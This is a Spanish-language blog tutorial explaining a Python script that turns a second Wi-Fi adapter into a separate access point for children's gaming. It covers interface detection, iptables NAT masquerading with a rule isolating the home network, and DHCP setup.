Red privada: 192.168.1.0/24 con adaptador wlan0 y conectada al Router Wifi
Red de juegos: 10.0.0.0/24 con adaptador wlan1 - Este adaptador funcionará como Access Point

EL Script AP.py se encarga de realizar todos los pasos anteriores.

La línea principal del programa es:

Obtenemos la lista de interfaces
Si hay alguna interfaz en modo monitor la paramos.
Verificamos que tenemos activa una conexión con internet
Buscamos si tenemos otra interfaz wifi disponible para el AP
Preparamos iptables

Arrancamos la interfaz en modo monitor
Arrancamos el AP sobre la interfaz que tenemos en modo monitor
Configuramos el dhcp
Arrancamos el dhcp

Dejamos el programa en un bucle continuo que nos muestra el AP

La rutina de cleanup se invoca al salir del bucle con ctlr+c y deja situación igual a como estaba antes de la llamada al programa (bueno, casi).

Trabajando con las interfaces.

La lista de interfaces se obtiene mediante un "parser" de la salida del comando iwconfig que nos da una lista con los interfaces y aquellos que están en modo monitor.

Salida del comando iwconfig

Rutina que procesa el comando iwconfig

Si encontramos alguno en modo monitor lo que hacemos es pararlo ya que lo necesitaremos para nuestro AP.
Luego buscamos si existe un interfaz activo y conectado. Si existe devolvemos la primera parte de la dirección que se corresponderá con una de las direcciones corrientes para las IP privadas.
Esta información no será util posteriormente para configurar la nueva red. Más adelante veremos como asignaremos como dirección de la nueva red: 10.0.0.0/24 o 192.168.1.0/24 según sea el valor del prefijo de la red que está con conexión a internet.
Cuando ya tenemos localizada la conexión internet buscamos otro adaptador wifi que será el que usaremos para el AP.
Ahora hemos de preparar iptables.

Creando las reglas de iptables.

Primero limpiamos las reglas previas que hubiera tanto en la tablas filter como en las tablas nat

Antes de explicar la siguiente regla para iptables, vay a explicar un poco que es la tabla nat.
En la tabla nat se definen las reglas para modificar paquetes. Existen dos momentos en los que se puede realizar esta modificación: según entra el paqueta a la máquina (PREROUTING) y antes de salir de la misma (POSTROUTING).
En nuestro caso vamos a realizar la modificación justo antes de salir del sistema. La elección de un momento un otro depende de si queremos o no que actuen otros filtros. Por el momento como no tenemos otros filtros daría igual donde se colocara pero, como veremos más adelante, lo correcto es especificar POSTROUTE. Como condición de selección de paquetes establecemos que sean todos aquellos paquetes que van a salir con la interfaz de conexión a internet. Y la acción es que haga un enmascaramiento de red. Para saber más sobre enmascaramiento de red en particular e iptables en general aconsejo leer este enlace:

http://www.pello.info/filez/firewall/iptables.html

Y, por supuesto, ponemos una regla para la tabla filter para impedir que accedan a nuestra red particular. Por esta razón es por la que se ha colocado la modificación nat en POSTROUTE para que tenga efecto este filtro.

Luego permitimos que el sistema permita el forwarding de paquetes.

Preparando el Access Point

Arrancamos el modo monitor para poner la tarjeta en modo promiscuo y capturar todo lo que hay por el aire. Cuando ponemos una tarjeta en modo promiscuo se nos define un interfaz virtual con nombre monX (0, 1, ...).

Sobre esta interfaz virtual arrancamos el Access Point que nos crea otro interfaz virtual: atX (0, 1, ....).

Configuramos este interfaz con la dirección de red que queramos asignar y que irá en función del valor de la red conectada a internet. Asi diferenciamos bien una red de la otra.

Ya solo nos queda definir el dhcp que hacemos de forma dinámica, aunque si lo tenemos ya configurado, podemos borrar este paso.

Y por fin arrancamos el servidor dhcp.

A partir de este momento tenemos nuestro AP y arrancamos otro equipo con wifi podremos ver el essid 'pajuga'

¡¡¡Ya tienen los chicos su red aparte para sus mundos virtuales de juego!!!